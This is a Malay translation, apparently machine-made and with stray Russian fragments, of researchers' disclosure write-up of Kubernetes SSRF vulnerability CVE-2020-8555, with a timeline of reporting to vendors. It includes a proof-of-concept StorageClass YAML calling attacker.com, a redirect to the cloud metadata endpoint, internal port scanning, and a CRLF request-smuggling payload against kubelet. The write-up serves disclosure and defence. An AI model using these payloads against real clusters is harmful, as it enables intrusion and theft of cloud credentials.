🥇Apabila ia bukan hanya tentang kelemahan dalam Kubernetes...

Catatan. terjemah: pengarang artikel ini bercakap secara terperinci tentang cara mereka berjaya menemui kelemahan itu CVE-2020–8555 dalam Kubernetes. Walaupun pada mulanya ia tidak kelihatan sangat berbahaya, dalam kombinasi dengan faktor lain, kritikalnya ternyata maksimum untuk sesetengah penyedia awan. Beberapa organisasi dengan murah hati memberi ganjaran kepada pakar untuk kerja mereka.

Siapakah kita

Kami ialah dua penyelidik keselamatan Perancis yang bersama-sama menemui kelemahan dalam Kubernetes. Nama kami ialah Brice Augras dan Christophe Hauquiert, tetapi pada banyak platform Bug Bounty, kami masing-masing dikenali sebagai Reeverzax dan Hach:

Brice Augras - Syarikat Groupe Asten;
Christophe Hauquiert - Arkitek Kubernetes di Nokia.

Apa yang berlaku?

Artikel ini ialah cara kami berkongsi cara projek penyelidikan biasa tanpa diduga bertukar menjadi pengembaraan paling menarik dalam kehidupan pemburu pepijat (sekurang-kurangnya buat masa ini).

Seperti yang anda ketahui, pemburu pepijat mempunyai beberapa ciri yang ketara:

mereka hidup dengan pizza dan bir;
mereka bekerja apabila orang lain sedang tidur.

Kami tidak terkecuali daripada peraturan ini: kami biasanya bertemu pada hujung minggu dan menghabiskan malam tanpa tidur menggodam. Tetapi salah satu malam ini berakhir dengan cara yang sangat luar biasa.

Pada mulanya kami akan bertemu untuk membincangkan penyertaan dalam KKP keesokan harinya. Semasa perbualan tentang keselamatan Kubernetes dalam persekitaran perkhidmatan terurus, kami teringat idea lama SSRF (Pemalsuan Permintaan Sebelah Pelayan) dan memutuskan untuk mencuba menggunakannya sebagai skrip serangan.

Pada pukul 11 malam kami duduk untuk membuat kajian dan tidur awal pagi, sangat berpuas hati dengan hasilnya. Disebabkan oleh penyelidikan ini, kami menemui program MSRC Bug Bounty dan menghasilkan eksploitasi peningkatan keistimewaan.

Beberapa minggu/bulan berlalu, dan keputusan kami yang tidak dijangka menghasilkan salah satu ganjaran tertinggi dalam sejarah Azure Cloud Bug Bounty - sebagai tambahan kepada ganjaran yang kami terima daripada Kubernetes!

Berdasarkan projek penyelidikan kami, Jawatankuasa Keselamatan Produk Kubernetes diterbitkan CVE-2020–8555.

Sekarang saya ingin menyebarkan maklumat tentang kelemahan yang ditemui sebanyak mungkin. Kami harap anda menghargai penemuan dan berkongsi butiran teknikal dengan ahli komuniti infosec yang lain!

Jadi begini cerita kami...

Konteks

Untuk memahami apa yang berlaku, mari kita lihat dahulu cara Kubernetes berfungsi dalam persekitaran terurus awan.

Apabila anda membuat seketika gugusan Kubernetes dalam persekitaran sedemikian, lapisan pengurusan lazimnya adalah tanggungjawab pembekal awan:

Lapisan kawalan terletak di perimeter penyedia awan, manakala nod Kubernetes terletak di perimeter pelanggan

Untuk memperuntukkan volum secara dinamik, mekanisme digunakan untuk menyediakannya secara dinamik daripada bahagian belakang storan luaran dan membandingkannya dengan PVC (tuntutan volum berterusan, iaitu permintaan untuk volum).

Oleh itu, selepas PVC dicipta dan diikat ke StorageClass dalam kelompok K8s, tindakan selanjutnya untuk menyediakan volum diambil alih oleh pengurus pengawal kube/cloud (nama tepatnya bergantung pada keluaran). (Catatan. terjemah: Kami telah pun menulis lebih lanjut mengenai CCM menggunakan contoh pelaksanaannya untuk salah satu penyedia awan di sini.)

Terdapat beberapa jenis penyedia yang disokong oleh Kubernetes: kebanyakannya disertakan dalam teras orkestra, manakala yang lain diuruskan oleh penyedia tambahan yang diletakkan dalam pod dalam kelompok.

Dalam penyelidikan kami, kami menumpukan pada mekanisme peruntukan volum dalaman, yang digambarkan di bawah:

Peruntukan jilid dinamik menggunakan pembekal Kubernetes terbina dalam

Ringkasnya, apabila Kubernetes digunakan dalam persekitaran terurus, pengurus pengawal adalah tanggungjawab pembekal awan, tetapi permintaan penciptaan volum (nombor 3 dalam rajah di atas) meninggalkan rangkaian dalaman penyedia awan. Dan di sinilah perkara menjadi sangat menarik!

Senario penggodaman

Dalam bahagian ini, kami akan menerangkan cara kami memanfaatkan aliran kerja yang dinyatakan di atas dan mengakses sumber dalaman pembekal perkhidmatan awan. Ia juga akan menunjukkan kepada anda cara anda boleh melakukan tindakan tertentu, seperti mendapatkan kelayakan dalaman atau keistimewaan yang semakin meningkat.

Satu manipulasi mudah (dalam kes ini, Pemalsuan Permintaan Sampingan Perkhidmatan) membantu melangkaui persekitaran pelanggan ke dalam kelompok pelbagai penyedia perkhidmatan di bawah K8 terurus.

Dalam penyelidikan kami, kami memberi tumpuan kepada penyedia GlusterFS. Walaupun fakta bahawa urutan tindakan selanjutnya diterangkan dalam konteks ini, Quobyte, StorageOS dan ScaleIO terdedah kepada kelemahan yang sama.

Penyalahgunaan mekanisme peruntukan volum dinamik

Semasa analisis kelas penyimpanan GlusterFS dalam kod sumber pelanggan Golang kami perasanbahawa pada permintaan HTTP pertama (3) dihantar semasa pembuatan volum, ke penghujung URL tersuai dalam parameter resturl tambah /volumes.

Kami memutuskan untuk menyingkirkan laluan tambahan ini dengan menambah # dalam parameter resturl. Berikut ialah konfigurasi YAML pertama yang kami gunakan untuk menguji kerentanan SSRF separa buta (anda boleh membaca lebih lanjut mengenai SSRF separa buta atau separuh buta, sebagai contoh, di sini - lebih kurang terjemah.):

apiVersion: storage.k8s.io/v1
kind: StorageClass
metadata:
  name: poc-ssrf
provisioner: kubernetes.io/glusterfs
parameters:
  resturl: "http://attacker.com:6666/#"
---
apiVersion: v1
kind: PersistentVolumeClaim
metadata:
  name: poc-ssrf
spec:
  accessModes:
  - ReadWriteOnce
  volumeMode: Filesystem
  resources:
    requests:
      storage: 8Gi
  storageClassName: poc-ssrf

Kemudian kami menggunakan binari untuk mengurus gugusan Kubernetes dari jauh kubectl. Biasanya, pembekal awan (Azure, Google, AWS, dll.) membenarkan anda mendapatkan kelayakan untuk digunakan dalam utiliti ini.

Terima kasih kepada ini, saya dapat menggunakan fail "istimewa" saya. Kube-controller-manager melaksanakan permintaan HTTP yang terhasil:

kubectl create -f sc-poc.yaml

Jawapan dari sudut pandangan penyerang

Tidak lama selepas ini, kami juga dapat menerima respons HTTP daripada pelayan sasaran - melalui arahan describe pvc atau get events dalam kubectl. Dan sememangnya: pemandu Kubernetes lalai ini terlalu bertele-tele dalam mesej amaran/ralatnya...

Berikut ialah contoh dengan pautan ke https://www.google.frditetapkan sebagai parameter resturl:

kubectl describe pvc poc-ssrf
# или же можете воспользоваться kubectl get events

Dalam pendekatan ini, kami terhad kepada pertanyaan seperti HTTP POST dan tidak boleh mendapatkan kandungan badan tindak balas jika kod pulangan adalah 201. Oleh itu, kami memutuskan untuk menjalankan penyelidikan tambahan dan mengembangkan senario penggodaman ini dengan pendekatan baharu.

Evolusi penyelidikan kami

Senario Lanjutan #1: Menggunakan ubah hala 302 daripada pelayan luaran untuk menukar kaedah HTTP untuk menyediakan cara yang lebih fleksibel untuk mengumpul data dalaman.
Senario Lanjutan #2: Automatikkan pengimbasan LAN dan penemuan sumber dalaman.
Senario lanjutan #3: menggunakan HTTP CRLF + penyeludupan (“permintaan penyeludupan”) untuk membuat permintaan HTTP yang disesuaikan dan mendapatkan data yang diekstrak daripada log pengawal kube.

Spesifikasi teknikal

Penyelidikan menggunakan Perkhidmatan Azure Kubernetes (AKS) dengan Kubernetes versi 1.12 di rantau Eropah Utara.
Senario yang diterangkan di atas telah dilaksanakan pada keluaran terbaru Kubernetes, kecuali senario ketiga, kerana dia memerlukan Kubernetes dibina dengan versi Golang ≤ 1.12.
Pelayan luar penyerang - https://attacker.com.

Senario Lanjutan #1: Mengubah hala permintaan HTTP POST ke GET dan menerima data sensitif

Kaedah asal telah diperbaiki oleh konfigurasi pelayan penyerang untuk kembali Kod Semula HTTP 302untuk menukar permintaan POST kepada permintaan GET (langkah 4 dalam rajah):

Permintaan pertama (3) datang daripada pelanggan GlusterFS (Pengurus Pengawal), mempunyai jenis POST. Dengan mengikuti langkah-langkah ini kami dapat mengubahnya menjadi GET:

Sebagai parameter resturl dalam StorageClass ia ditunjukkan http://attacker.com/redirect.php.
Titik akhir https://attacker.com/redirect.php membalas dengan kod status HTTP 302 dengan Pengepala Lokasi berikut: http://169.254.169.254. Ini boleh menjadi mana-mana sumber dalaman lain - dalam kes ini, pautan ubah hala digunakan semata-mata sebagai contoh.
По умолчанию perpustakaan net/http Golang mengubah hala permintaan dan menukar POST kepada GET dengan kod status 302, menghasilkan permintaan HTTP GET kepada sumber sasaran.

Untuk membaca badan respons HTTP yang anda perlu lakukan describe Objek PVC:

kubectl describe pvc xxx

Berikut ialah contoh respons HTTP dalam format JSON yang dapat kami terima:

Keupayaan kelemahan yang ditemui pada masa itu adalah terhad kerana perkara berikut:

Ketidakupayaan untuk memasukkan pengepala HTTP ke dalam permintaan keluar.
Ketidakupayaan untuk melaksanakan permintaan POST dengan parameter dalam badan (ini adalah mudah untuk meminta nilai kunci daripada contoh etcd yang berjalan pada 2379 port jika HTTP tidak disulitkan digunakan).
Ketidakupayaan untuk mendapatkan semula kandungan isi respons apabila kod status ialah 200 dan respons tidak mempunyai Jenis Kandungan JSON.

Senario lanjutan #2: Mengimbas rangkaian tempatan

Kaedah SSRF separuh buta ini kemudiannya digunakan untuk mengimbas rangkaian dalaman penyedia awan dan meninjau pelbagai perkhidmatan pendengaran (contoh Metadata, Kubelet, dll.) berdasarkan respons pengawal kube.

Mula-mula, port pendengaran standard komponen Kubernetes telah ditentukan (8443, 10250, 10251, dsb.), dan kemudian kami perlu mengautomasikan proses pengimbasan.

Memandangkan kaedah pengimbasan sumber ini sangat khusus dan tidak serasi dengan pengimbas klasik dan alatan SSRF, kami memutuskan untuk mencipta pekerja kami sendiri dalam skrip bash yang mengautomasikan keseluruhan proses.

Sebagai contoh, untuk mengimbas dengan cepat julat 172.16.0.0/12 rangkaian dalaman, 15 pekerja telah dilancarkan secara selari. Julat IP di atas telah dipilih sebagai contoh sahaja dan mungkin tertakluk kepada perubahan pada julat IP pembekal perkhidmatan khusus anda.

Untuk mengimbas satu alamat IP dan satu port, anda perlu melakukan perkara berikut:

padamkan StorageClass yang terakhir disemak;
alih keluar Tuntutan Volume Berterusan yang disahkan sebelumnya;
tukar nilai IP dan Port dalam sc.yaml;
buat StorageClass dengan IP dan port baharu;
buat PVC baharu;
ekstrak keputusan imbasan menggunakan describe untuk PVC.

Senario lanjutan #3: Suntikan CRLF + HTTP penyeludupan dalam versi "lama" gugusan Kubernetes

Jika sebagai tambahan kepada ini, pembekal menawarkan pelanggan versi lama kluster K8s и memberi mereka akses kepada log kube-controller-manager, kesannya menjadi lebih ketara.

Ia sememangnya lebih mudah bagi penyerang untuk menukar permintaan HTTP yang direka untuk mendapatkan respons HTTP penuh mengikut budi bicaranya.

Untuk melaksanakan senario terakhir, syarat berikut perlu dipenuhi:

Pengguna mesti mempunyai akses kepada log kube-controller-manager (seperti, sebagai contoh, dalam Azure LogInsights).
Kelompok Kubernetes mesti menggunakan versi Golang yang lebih rendah daripada 1.12.

Kami menggunakan persekitaran tempatan yang mensimulasikan komunikasi antara klien GlusterFS Go dan pelayan sasaran palsu (kami akan mengelak daripada menerbitkan PoC buat masa ini).

Telah dijumpai kelemahan, menjejaskan versi Golang lebih rendah daripada 1.12 dan membenarkan penggodam melakukan serangan penyeludupan HTTP/CRLF.

Dengan menggabungkan SSRF separuh buta yang diterangkan di atas вместе dengan ini, kami dapat menghantar permintaan mengikut keinginan kami, termasuk menggantikan pengepala, kaedah HTTP, parameter dan data, yang kemudiannya diproses oleh pengurus-pengawal-kube.

Berikut ialah contoh "umpan" yang berfungsi dalam parameter resturl StorageClass, yang melaksanakan senario serangan serupa:

http://172.31.X.1:10255/healthz? HTTP/1.1rnConnection: keep-
alivernHost: 172.31.X.1:10255rnContent-Length: 1rnrn1rnGET /pods? HTTP/1.1rnHost: 172.31.X.1:10255rnrn

Hasilnya adalah ralat tindak balas yang tidak diminta, mesej tentang yang direkodkan dalam log pengawal. Terima kasih kepada verbosity yang didayakan secara lalai, kandungan mesej respons HTTP juga disimpan di sana.

Ini adalah "umpan" kami yang paling berkesan dalam rangka kerja pembuktian konsep.

Dengan menggunakan pendekatan ini, kami dapat menjalankan beberapa serangan berikut pada kluster pelbagai penyedia k8 terurus: peningkatan keistimewaan dengan bukti kelayakan pada tika metadata, Master DoS melalui permintaan HTTP (tidak disulitkan) pada contoh induk etcd, dsb.

Selepas

Dalam kenyataan rasmi Kubernetes mengenai kerentanan SSRF yang kami temui, ia dinilai CVSS 6.3/10: CVSS:3.0/AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:N/A:N. Jika kita menganggap hanya kelemahan yang dikaitkan dengan perimeter Kubernetes, vektor integriti (vektor integriti) ia layak sebagai Tiada.

Walau bagaimanapun, menilai kemungkinan akibat dalam konteks persekitaran perkhidmatan terurus (dan ini adalah bahagian yang paling menarik dalam penyelidikan kami!) mendorong kami untuk mengklasifikasikan semula kerentanan kepada penarafan. CVSS10/10 kritikal untuk ramai pengedar.

Di bawah ialah maklumat tambahan untuk membantu anda memahami pertimbangan kami semasa menilai potensi kesan dalam persekitaran awan:

Integriti

Laksanakan arahan dari jauh menggunakan kelayakan dalaman yang diperoleh.
Menghasilkan semula senario di atas menggunakan kaedah IDOR (Rujukan Objek Langsung Tidak Selamat) dengan sumber lain yang terdapat pada rangkaian tempatan.

Kerahsiaan

Jenis serangan Pergerakan Lateral terima kasih kepada kecurian bukti kelayakan awan (contohnya, API metadata).
Mengumpul maklumat dengan mengimbas rangkaian tempatan (menentukan versi SSH, versi pelayan HTTP, ...).
Kumpulkan maklumat contoh dan infrastruktur dengan mengundi API dalaman seperti API metadata (http://169.254.169.254,…).
Mencuri data pelanggan menggunakan kelayakan awan.

Ketersediaan

Semua senario eksploitasi yang berkaitan dengan vektor serangan integriti, boleh digunakan untuk tindakan yang merosakkan dan membawa kepada contoh induk daripada perimeter pelanggan (atau mana-mana yang lain) tidak tersedia.

Memandangkan kami berada dalam persekitaran K8 terurus dan menilai kesan ke atas integriti, kami boleh membayangkan banyak senario yang boleh memberi kesan kepada ketersediaan. Contoh tambahan termasuk merosakkan pangkalan data etcd atau membuat panggilan kritikal ke API Kubernetes.

Kronologi

6 Disember 2019: Kerentanan dilaporkan kepada MSRC Bug Bounty.
3 Januari 2020: Pihak ketiga memaklumkan kepada pembangun Kubernetes bahawa kami sedang mengusahakan isu keselamatan. Dan meminta mereka untuk menganggap SSRF sebagai kelemahan dalaman (dalam teras). Kami kemudiannya menyediakan laporan umum dengan butiran teknikal tentang punca masalah.
15 Januari 2020: Kami menyediakan laporan teknikal dan umum kepada pembangun Kubernetes atas permintaan mereka (melalui platform HackerOne).
15 Januari 2020: Pembangun Kubernetes memberitahu kami bahawa suntikan SSRF + CRLF separuh buta untuk keluaran lepas dianggap sebagai kerentanan dalam teras. Kami serta-merta berhenti menganalisis perimeter penyedia perkhidmatan lain: pasukan K8 kini sedang menangani puncanya.
15 Januari 2020: Ganjaran MSRC diterima melalui HackerOne.
16 Januari 2020: Kubernetes PSC (Jawatankuasa Keselamatan Produk) mengiktiraf kelemahan itu dan meminta untuk merahsiakannya sehingga pertengahan Mac berikutan bilangan besar kemungkinan mangsa.
11 Februari 2020: Ganjaran Google VRP diterima.
4 Mac 2020: Ganjaran Kubernetes diterima melalui HackerOne.
15 Mac 2020: Pendedahan umum yang dijadualkan pada asalnya ditangguhkan kerana situasi COVID-19.
1 Jun 2020: Kenyataan bersama Kubernetes + Microsoft tentang kerentanan itu.

TL; DR

Kami minum bir dan makan pizza :)
Kami menemui kelemahan dalam teras dalam Kubernetes, walaupun kami tidak berniat untuk berbuat demikian.
Kami menjalankan analisis tambahan pada kelompok penyedia awan yang berbeza dan dapat meningkatkan kerosakan yang disebabkan oleh kelemahan untuk menerima bonus hebat tambahan.
Anda akan menemui banyak butiran teknikal dalam artikel ini. Kami berbesar hati untuk membincangkannya dengan anda (Twitter: @ReeverZax & @__hach_).
Ternyata semua jenis formaliti dan pelaporan mengambil masa lebih lama daripada yang dijangkakan.

Apabila ia bukan hanya tentang kelemahan Kubernetes...